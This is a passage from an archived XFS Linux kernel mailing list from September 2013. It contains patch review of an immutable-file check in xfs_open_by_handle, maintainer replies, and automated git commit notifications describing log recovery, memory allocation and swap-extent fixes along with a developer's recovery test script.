ofZ3DBTouoWFGeKHKUeyzGza1/F1eFYK/7/oSQGl9hyCa3Vi7IKkb25C7cmc4U82WxSEMGAp/Z3T xY6gM7uA+T5dV0HraBuOySj7EUqXKYyiz116tGIgMWkJe2RSTRF5/okBExBWGauK+PBnL5vs1kNs NKP7C8mJ77ovNuOp+bmVlSt0AHtqGMOVuDYmqQVjLVhEfbxRFdQrLNh2uhrU2YIlXyZpf5xstgUF una1eqsWEs78DjsfQgtsIDlaqJDFZoUPVHyuGOHN9QOa1idbuX4xjyhpRcyvdJXVNHq+vra0Yc6G hXwTDtBKn2YlDy4Hhh5E+Dv9FNbyy8gyNA9RKyBItJSopZlm+J03ZdGspw4pPyF8gwP7fJ3clXrT UfcHzNddGSQqwNoJ3a6VJ2dwGIKRhl/JT/6sbnrLwlto8syCEB9N7UsXuqXOs1njhRjdJhZve+st Xwl5p9QjKgIepI2PuMxIq6/NkfEyRQoIH+0wjRTKkilyn7monsD0Ooi2Do0b+jQQ/fcCCU9lIwQp nEdQywxD29hgYdg6hmpFDoTER9/ICjGAYiaaN9Y0jVmOqAIW9AD2A8af64UBnaCtBwMjI6cHxpyD 8s7zy6kcAODsLT7mD45oPyjv/74t/r1eQrAzwrjf8r4zDT+m/zfE2bf9d71ZZs+5UMa81VTEGLoM kpjMS9LNzUpLNk39o2pFsEbwVXB2hq8ZQNCwMLBQi0bebQ8FDQWELzL6Sf/mkG3//vlJUAd8nCay sgBhQm12W/8X/smx1/Yzk1M10wUmVxbXNwY//CDIKDg2samyuRGt/7lERiP+9Mrs5f9zzvl1Qv/P 2h/6JK7/5vmcBm4BrZ/0gDvmwpH4P4YIba2fxz/acSM08/EDSHAH/SM1/z7//3MZr/WXEGduYMrM jBLAfxBb89CqX6nSVRYVCo2LzIvNCv/2em/9ShsLkwgW1n/zg//ygHH9MD1GyOf8scCpj/cjp/4n JmAAWX/cgQDYyl/+Bayv9Dg1jOQD/sIgNjxUiHZmYmRoYnRicGRiamRmcFhiZlJiYlP9lTf0J/1E X/tNu36PZhH9enP+3/6+EZubGxp/G2Yj/9eMyNiP/PpbP9e/RRiaf6ybm5odG/9WbnJn/obftT/W zg1Nv6wdf/wocnBhBqLcPNUimAeGX94mCk2trkRm//DTyS2MzaRnH+f0iEa2enJybMx1+uTU1ZTR lNv53+mzRjODQ1Y2T/AnRp/oxMZ//YWMzYTEGRHDIaGZmysxyZGjEYshz+sTM5ZjJjOWX/sLoNUj i5MLg5f8Kj/Zh1/3BEnJ0VPRhH/8QMQ9ewBABwA= ------=_NextPart_000_0FE2_01CEAE81.481F7B40-- From tinguely@sgi.com Tue Sep 10 17:29:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C63097F53 for ; Tue, 10 Sep 2013 17:29:50 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9B30E8F804B; Tue, 10 Sep 2013 15:29:50 -0700 (PDT) Message-ID: <522F9D5D.1090005@sgi.com> Date: Tue, 10 Sep 2013 17:29:49 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, Greg Banks Subject: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle References: <20130910184724.726933044@sgi.com> <20130910212002.GB19103@dastard> In-Reply-To: <20130910212002.GB19103@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/10/13 16:20, Dave Chinner wrote: > On Tue, Sep 10, 2013 at 01:47:20PM -0500, Mark Tinguely wrote: >> This patch allows clients like DMF to modify an immutable file >> without changing the immutable capability on the file, which >> would expose the file to change. >> >> This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, >> so no addition security risk has been introduced. >> >> Signed-off-by: Greg Banks >> Singed-off-by: Mark Tinguely >> --- >> fs/xfs/xfs_ioctl.c | 4 +++- >> 1 file changed, 3 insertions(+), 1 deletion(-) >> >> Index: b/fs/xfs/xfs_ioctl.c >> =================================================================== >> --- a/fs/xfs/xfs_ioctl.c >> +++ b/fs/xfs/xfs_ioctl.c >> @@ -237,7 +237,9 @@ xfs_open_by_handle( >> goto out_dput; >> } >> >> - if ((fmode & FMODE_WRITE) && IS_IMMUTABLE(inode)) { >> + if ((permflag & FMODE_WRITE)&& > > Why the conversion from fmode to permflag? At minimum, this will > probably throw sparse warnings for comparing a FMODE_* flag against > a variable that is not a fmode_t.... > > Cheers, > > Dave. Yes, my mistake - a case of posting a Linux 3.0.X based patch. --Mark. From tinguely@eagdhcp-232-140.americas.sgi.com Tue Sep 10 17:34:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 07DFF7F53 for ; Tue, 10 Sep 2013 17:34:53 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFC0C8F804B; Tue, 10 Sep 2013 15:34:52 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8AMYpII009734; Tue, 10 Sep 2013 17:34:51 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8AMYpKB009733; Tue, 10 Sep 2013 17:34:51 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130910213624.726953044@sgi.com> User-Agent: quilt/0.51-1 Date: Tue, 10 Sep 2013 17:36:30 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Cc: Greg Banks Subject: [PATCH] xfs: v2 change the immutable in xfs_open_by_handle Content-Disposition: inline; filename=v2-xfs-change-immutable-in-xfs_open_by_handle.patch This patch allows clients like DMF to modify an immutable file without changing the immutable capability on the file, which would expose the file to change. This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, so no addition security risk has been introduced. Signed-off-by: Greg Banks Signed-off-by: Mark Tinguely --- v1->v2 fix the FMODE_WRITE test. fs/xfs/xfs_ioctl.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_ioctl.c =================================================================== --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -237,7 +237,9 @@ xfs_open_by_handle( goto out_dput; } - if ((fmode & FMODE_WRITE) && IS_IMMUTABLE(inode)) { + if ((fmode & FMODE_WRITE) && + IS_IMMUTABLE(inode) && + !capable(CAP_LINUX_IMMUTABLE)) { error = -XFS_ERROR(EACCES); goto out_dput; } From bpm@sgi.com Tue Sep 10 17:39:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EB92B7F53 for ; Tue, 10 Sep 2013 17:39:51 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C70FAC007; Tue, 10 Sep 2013 15:39:48 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 280AE4266DC; Tue, 10 Sep 2013 17:39:48 -0500 (CDT) Date: Tue, 10 Sep 2013 17:39:48 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: more shutdown-related fixes Message-ID: <20130910223947.GV1935@sgi.com> References: <1378208858-20557-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378208858-20557-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Sep 03, 2013 at 09:47:36PM +1000, Dave Chinner wrote: > Hi folks, > > More fixes as a result of forced shutdown testing. The first is > fixing yet another hole in the buf log item freein logic when a > transaction is aborted, and the other removes the asserts from the > inode buffer checking so that verifiers return errors rather than > crashing the system. Applied these 2. From bpm@sgi.com Tue Sep 10 17:40:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 393E27F53 for ; Tue, 10 Sep 2013 17:40:36 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id BAEB9AC002; Tue, 10 Sep 2013 15:40:35 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 715014266DC; Tue, 10 Sep 2013 17:40:35 -0500 (CDT) Date: Tue, 10 Sep 2013 17:40:35 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures Message-ID: <20130910224035.GW1935@sgi.com> References: <1378119180-31380-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378119180-31380-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 02, 2013 at 08:52:58PM +1000, Dave Chinner wrote: > Hi folks, > > These failures are a result of order-4 allocations being done on v5 > filesystems to support the large ACL count xattrs. The first patch > puts out usual falbback to vmalloc workaround in place. The second > patch factors all the places we now have this fallback-to-vmalloc > and makes it transparent to the callers. Applied these 2. From bpm@sgi.com Tue Sep 10 17:41:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3654E7F53 for ; Tue, 10 Sep 2013 17:41:12 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0C06C8F8066; Tue, 10 Sep 2013 15:41:11 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C55BD4266DC; Tue, 10 Sep 2013 17:41:11 -0500 (CDT) Date: Tue, 10 Sep 2013 17:41:11 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: log recovery buffer fixes Message-ID: <20130910224111.GX1935@sgi.com> References: <1378081921-18570-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378081921-18570-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 02, 2013 at 10:31:59AM +1000, Dave Chinner wrote: > Folks, these two patches make sure log recovery correctly identifies > the type of buffer being recovered. The buffer log format type field > is not always being set correctly, and that leads to invalid remote > symlink and directory blocks after recovery as they hav enot had the > CRC recalculated after being recovered. Applied these 2. From bpm@oss.sgi.com Tue Sep 10 17:49:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 0B1C47F54; Tue, 10 Sep 2013 17:49:02 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc1-11-g74ffa79 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f X-Git-Newrev: 74ffa796e127906883cacedcf3871494192c9e42 Message-Id: <20130910224902.0B1C47F54@oss.sgi.com> Date: Tue, 10 Sep 2013 17:49:01 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 74ffa79 xfs: don't assert fail on bad inode numbers 46f9d2e xfs: aborted buf items can be in the AIL. fdd3cce xfs: factor all the kmalloc-or-vmalloc fallback allocations 2dc164f xfs: fix memory allocation failures with ACLs 0a4edc8 xfs: ensure we copy buffer type in da btree root splits daf7b79 xfs: set remote symlink buffer type for recovery 638f4416 xfs: recovery of swap extents operations for CRC filesystems 21b5c97 xfs: swap extents operations for CRC filesystems from 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 74ffa796e127906883cacedcf3871494192c9e42 Author: Dave Chinner Date: Tue Sep 3 21:47:38 2013 +1000 xfs: don't assert fail on bad inode numbers Let the inode verifier do it's work by returning an error when we fail to find correct magic numbers in an inode buffer. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 46f9d2eb37849a328011b182729990d2db3f4d52 Author: Dave Chinner Date: Tue Sep 3 21:47:37 2013 +1000 xfs: aborted buf items can be in the AIL. Saw this on generic/270 after a DQALLOC transaction overrun shutdown: XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 952 ..... xfs_buf_item_relse+0x4f/0xd0 xfs_buf_item_unlock+0x1b4/0x1e0 xfs_trans_free_items+0x7d/0xb0 xfs_trans_cancel+0x13c/0x1b0 xfs_symlink+0x37e/0xa60 .... When a transaction abort occured. If we are aborting a transaction and trigger this code path, then the item may be dirty. If the item is dirty, then it may be in the AIL. Hence if we are aborting, we need to check if the item is in the AIL and remove it before freeing it. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit fdd3cceef46f2c18c618669cfae5c0f47d6982f9 Author: Dave Chinner Date: Mon Sep 2 20:53:00 2013 +1000 xfs: factor all the kmalloc-or-vmalloc fallback allocations We have quite a few places now where we do: x = kmem_zalloc(large size) if (!x) x = kmem_zalloc_large(large size) and do a similar dance when freeing the memory. kmem_free() already does the correct freeing dance, and kmem_zalloc_large() is only ever called in these constructs, so just factor it all into kmem_zalloc_large() and kmem_free(). Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 2dc164f2965b92a6efd2edb9e2813271741e96db Author: Dave Chinner Date: Mon Sep 2 20:52:59 2013 +1000 xfs: fix memory allocation failures with ACLs Ever since increasing the number of supported ACLs from 25 to as many as can fit in an xattr, there have been reports of order 4 memory allocations failing in the ACL code. Fix it in the same way we've fixed all the xattr read/write code that has the same problem. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 0a4edc8f0b54cd5f613e7fda7dc8106cb9869bc9 Author: Dave Chinner Date: Mon Sep 2 10:32:01 2013 +1000 xfs: ensure we copy buffer type in da btree root splits When splitting the root of the da btree, we shuffled data between buffers and the structures that track them. At one point, we copy data and state from one buffer to another, including the ops associated with the buffer. When we do this, we also need to copy the buffer type associated with the buf log item so that the buffer is logged correctly. If we don't do that, log recovery won't recognise it and hence it won't recalculate the CRC on the buffer after recovery. This leads to a directory block that can't be read after recovery has run. Found by inspection after finding the same problem with remote symlink buffers. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit daf7b799a944d28a50caaa512011f5a0eb5a4076 Author: Dave Chinner Date: Mon Sep 2 10:32:00 2013 +1000 xfs: set remote symlink buffer type for recovery The logging of a remote symlink block does not set the buffer type being logged, and hence on recovery the type of buffer is not recognised and hence CRCs are not calculated after replay. This results in log recoery throwing: XFS (vdc): Unknown buffer type 0 errors, and subsequent reads of the symlink failing CRC verification. Found via fsstress + godown. Reported by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 638f44163d57f87d0905fbed7d54202beff916fc Author: Dave Chinner Date: Fri Aug 30 10:23:45 2013 +1000 xfs: recovery of swap extents operations for CRC filesystems This is the recovery side of the btree block owner change operation performed by swapext on CRC enabled filesystems. We detect that an owner change is needed by the flag that has been placed on the inode log format flag field. Because the inode recovery is being replayed after the buffers that make up the BMBT in the given checkpoint, we can walk all the buffers and directly modify them when we see the flag set on an inode. Because the inode can be relogged and hence present in multiple chekpoints with the "change owner" flag set, we could do multiple passes across the inode to do this change. While this isn't optimal, we can't directly ignore the flag as there may be multiple independent swap extent operations being replayed on the same inode in different checkpoints so we can't ignore them. Further, because the owner change operation uses ordered buffers, we might have buffers that are newer on disk than the current checkpoint and so already have the owner changed in them. Hence we cannot just peek at a buffer in the tree and check that it has the correct owner and assume that the change was completed. So, for the moment just brute force the owner change every time we see an inode with the flag set. Note that we have to be careful here because the owner of the buffers may point to either the old owner or the new owner. Currently the verifier can't verify the owner directly, so there is no failure case here right now. If we verify the owner exactly in future, then we'll have to take this into account. This was tested in terms of normal operation via xfstests - all of the fsr tests now pass without failure. however, we really need to modify xfs/227 to stress v3 inodes correctly to ensure we fully cover this case for v5 filesystems. In terms of recovery testing, I used a hacked version of xfs_fsr that held the temp inode open for a few seconds before exiting so that the filesystem could be shut down with an open owner change recovery flags set on at least the temp inode. fsr leaves the temp inode unlinked and in btree format, so this was necessary for the owner change to be reliably replayed. logprint confirmed the tmp inode in the log had the correct flag set: INO: cnt:3 total:3 a:0x69e9e0 len:56 a:0x69ea20 len:176 a:0x69eae0 len:88 INODE: #regs:3 ino:0x44 flags:0x209 dsize:88 ^^^^^ 0x200 is set, indicating a data fork owner change needed to be replayed on inode 0x44. A printk in the revoery code confirmed that the inode change was recovered: XFS (vdc): Mounting Filesystem XFS (vdc): Starting recovery (logdev: internal) recovering owner change ino 0x44 XFS (vdc): Version 5 superblock detected. This kernel L support enabled! Use of these features in this kernel is at your own risk! XFS (vdc): Ending recovery (logdev: internal) The script used to test this was: $ cat ./recovery-fsr.sh #!/bin/bash dev=/dev/vdc mntpt=/mnt/scratch testfile=$mntpt/testfile umount $mntpt mkfs.xfs -f -m crc=1 $dev mount $dev $mntpt chmod 777 $mntpt for i in `seq 10000 -1 0`; do xfs_io -f -d -c "pwrite $(($i * 4096)) 4096" $testfile > /dev/null 2>&1 done xfs_bmap -vp $testfile |head -20 xfs_fsr -d -v $testfile & sleep 10 /home/dave/src/xfstests-dev/src/godown -f $mntpt wait umount $mntpt xfs_logprint -t $dev |tail -20 time mount $dev $mntpt xfs_bmap -vp $testfile umount $mntpt $ Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 21b5c9784bceb8b8e0095f87355f3b138ebac2d0 Author: Dave Chinner Date: Fri Aug 30 10:23:44 2013 +1000 xfs: swap extents operations for CRC filesystems For CRC enabled filesystems, we can't just swap inode forks from one inode to another when defragmenting a file - the blocks in the inode fork bmap btree contain pointers back to the owner inode. Hence if we are to swap the inode forks we have to atomically modify every block in the btree during the transaction. We are doing an entire fork swap here, so we could create a new transaction item type that indicates we are changing the owner of a certain structure from one value to another. If we combine this with ordered buffer logging to modify all the buffers in the tree, then we can change the buffers in the tree without needing log space for the operation. However, this then requires log recovery to perform the modification of the owner information of the objects/structures in question. This does introduce some interesting ordering details into recovery: we have to make sure that the owner change replay occurs after the change that moves the objects is made, not before. Hence we can't use a separate log item for this as we have no guarantee of strict ordering between multiple items in the log due to the relogging action of asynchronous transaction commits. Hence there is no "generic" method we can use for changing the ownership of arbitrary metadata structures. For inode forks, however, there is a simple method of communicating that the fork contents need the owner rewritten - we can pass a inode log format flag for the fork for the transaction that does a fork swap. This flag will then follow the inode fork through relogging actions so when the swap actually gets replayed the ownership can be changed immediately by log recovery. So that gives us a simple method of "whole fork" exchange between two inodes. This is relatively simple to implement, so it makes sense to do this as an initial implementation to support xfs_fsr on CRC enabled filesytems in the same manner as we do on existing filesystems. This commit introduces the swapext driven functionality, the recovery functionality will be in a separate patch. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/kmem.c | 15 ++++- fs/xfs/kmem.h | 9 +-- fs/xfs/xfs_acl.c | 12 ++-- fs/xfs/xfs_bmap_btree.c | 44 ++++++++++++ fs/xfs/xfs_bmap_btree.h | 4 ++ fs/xfs/xfs_bmap_util.c | 69 ++++++++++++------- fs/xfs/xfs_btree.c | 170 ++++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_btree.h | 19 ++++-- fs/xfs/xfs_buf_item.c | 24 +++++-- fs/xfs/xfs_da_btree.c | 1 + fs/xfs/xfs_icache.c | 4 +- fs/xfs/xfs_icache.h | 4 ++ fs/xfs/xfs_inode_buf.c | 10 ++- fs/xfs/xfs_inode_buf.h | 18 ++--- fs/xfs/xfs_ioctl.c | 34 +++------- fs/xfs/xfs_ioctl32.c | 18 ++--- fs/xfs/xfs_itable.c | 2 +- fs/xfs/xfs_log_format.h | 8 ++- fs/xfs/xfs_log_recover.c | 123 +++++++++++++++++++++++++++------- fs/xfs/xfs_symlink.c | 2 + 20 files changed, 439 insertions(+), 151 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Sep 10 17:49:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 1BD177F5A; Tue, 10 Sep 2013 17:49:11 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc1-11-g74ffa79 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f X-Git-Newrev: 74ffa796e127906883cacedcf3871494192c9e42 Message-Id: <20130910224911.1BD177F5A@oss.sgi.com> Date: Tue, 10 Sep 2013 17:49:10 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 74ffa79 xfs: don't assert fail on bad inode numbers 46f9d2e xfs: aborted buf items can be in the AIL. fdd3cce xfs: factor all the kmalloc-or-vmalloc fallback allocations 2dc164f xfs: fix memory allocation failures with ACLs 0a4edc8 xfs: ensure we copy buffer type in da btree root splits daf7b79 xfs: set remote symlink buffer type for recovery 638f4416 xfs: recovery of swap extents operations for CRC filesystems 21b5c97 xfs: swap extents operations for CRC filesystems from 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 74ffa796e127906883cacedcf3871494192c9e42 Author: Dave Chinner Date: Tue Sep 3 21:47:38 2013 +1000 xfs: don't assert fail on bad inode numbers Let the inode verifier do it's work by returning an error when we fail to find correct magic numbers in an inode buffer. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 46f9d2eb37849a328011b182729990d2db3f4d52 Author: Dave Chinner Date: Tue Sep 3 21:47:37 2013 +1000 xfs: aborted buf items can be in the AIL. Saw this on generic/270 after a DQALLOC transaction overrun shutdown: XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 952 ..... xfs_buf_item_relse+0x4f/0xd0 xfs_buf_item_unlock+0x1b4/0x1e0 xfs_trans_free_items+0x7d/0xb0 xfs_trans_cancel+0x13c/0x1b0 xfs_symlink+0x37e/0xa60 .... When a transaction abort occured. If we are aborting a transaction and trigger this code path, then the item may be dirty. If the item is dirty, then it may be in the AIL. Hence if we are aborting, we need to check if the item is in the AIL and remove it before freeing it. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit fdd3cceef46f2c18c618669cfae5c0f47d6982f9 Author: Dave Chinner Date: Mon Sep 2 20:53:00 2013 +1000 xfs: factor all the kmalloc-or-vmalloc fallback allocations We have quite a few places now where we do: x = kmem_zalloc(large size) if (!x) x = kmem_zalloc_large(large size) and do a similar dance when freeing the memory. kmem_free() already does the correct freeing dance, and kmem_zalloc_large() is only ever called in these constructs, so just factor it all into kmem_zalloc_large() and kmem_free(). Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 2dc164f2965b92a6efd2edb9e2813271741e96db Author: Dave Chinner Date: Mon Sep 2 20:52:59 2013 +1000 xfs: fix memory allocation failures with ACLs Ever since increasing the number of supported ACLs from 25 to as many as can fit in an xattr, there have been reports of order 4 memory allocations failing in the ACL code. Fix it in the same way we've fixed all the xattr read/write code that has the same problem. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 0a4edc8f0b54cd5f613e7fda7dc8106cb9869bc9 Author: Dave Chinner Date: Mon Sep 2 10:32:01 2013 +1000 xfs: ensure we copy buffer type in da btree root splits When splitting the root of the da btree, we shuffled data between buffers and the structures that track them. At one point, we copy data and state from one buffer to another, including the ops associated with the buffer. When we do this, we also need to copy the buffer type associated with the buf log item so that the buffer is logged correctly. If we don't do that, log recovery won't recognise it and hence it won't recalculate the CRC on the buffer after recovery. This leads to a directory block that can't be read after recovery has run. Found by inspection after finding the same problem with remote symlink buffers. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit daf7b799a944d28a50caaa512011f5a0eb5a4076 Author: Dave Chinner Date: Mon Sep 2 10:32:00 2013 +1000 xfs: set remote symlink buffer type for recovery The logging of a remote symlink block does not set the buffer type being logged, and hence on recovery the type of buffer is not recognised and hence CRCs are not calculated after replay. This results in log recoery throwing: XFS (vdc): Unknown buffer type 0 errors, and subsequent reads of the symlink failing CRC verification. Found via fsstress + godown. Reported by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 638f44163d57f87d0905fbed7d54202beff916fc Author: Dave Chinner Date: Fri Aug 30 10:23:45 2013 +1000 xfs: recovery of swap extents operations for CRC filesystems This is the recovery side of the btree block owner change operation performed by swapext on CRC enabled filesystems. We detect that an owner change is needed by the flag that has been placed on the inode log format flag field. Because the inode recovery is being replayed after the buffers that make up the BMBT in the given checkpoint, we can walk all the buffers and directly modify them when we see the flag set on an inode. Because the inode can be relogged and hence present in multiple chekpoints with the "change owner" flag set, we could do multiple passes across the inode to do this change. While this isn't optimal, we can't directly ignore the flag as there may be multiple independent swap extent operations being replayed on the same inode in different checkpoints so we can't ignore them. Further, because the owner change operation uses ordered buffers, we might have buffers that are newer on disk than the current checkpoint and so already have the owner changed in them. Hence we cannot just peek at a buffer in the tree and check that it has the correct owner and assume that the change was completed. So, for the moment just brute force the owner change every time we see an inode with the flag set. Note that we have to be careful here because the owner of the buffers may point to either the old owner or the new owner. Currently the verifier can't verify the owner directly, so there is no failure case here right now. If we verify the owner exactly in future, then we'll have to take this into account. This was tested in terms of normal operation via xfstests - all of the fsr tests now pass without failure. however, we really need to modify xfs/227 to stress v3 inodes correctly to ensure we fully cover this case for v5 filesystems. In terms of recovery testing, I used a hacked version of xfs_fsr that held the temp inode open for a few seconds before exiting so that the filesystem could be shut down with an open owner change recovery flags set on at least the temp inode. fsr leaves the temp inode unlinked and in btree format, so this was necessary for the owner change to be reliably replayed. logprint confirmed the tmp inode in the log had the correct flag set: INO: cnt:3 total:3 a:0x69e9e0 len:56 a:0x69ea20 len:176 a:0x69eae0 len:88 INODE: #regs:3 ino:0x44 flags:0x209 dsize:88 ^^^^^ 0x200 is set, indicating a data fork owner change needed to be replayed on inode 0x44. A printk in the revoery code confirmed that the inode change was recovered: XFS (vdc): Mounting Filesystem XFS (vdc): Starting recovery (logdev: internal) recovering owner change ino 0x44 XFS (vdc): Version 5 superblock detected. This kernel L support enabled! Use of these features in this kernel is at your own risk! XFS (vdc): Ending recovery (logdev: internal) The script used to test this was: $ cat 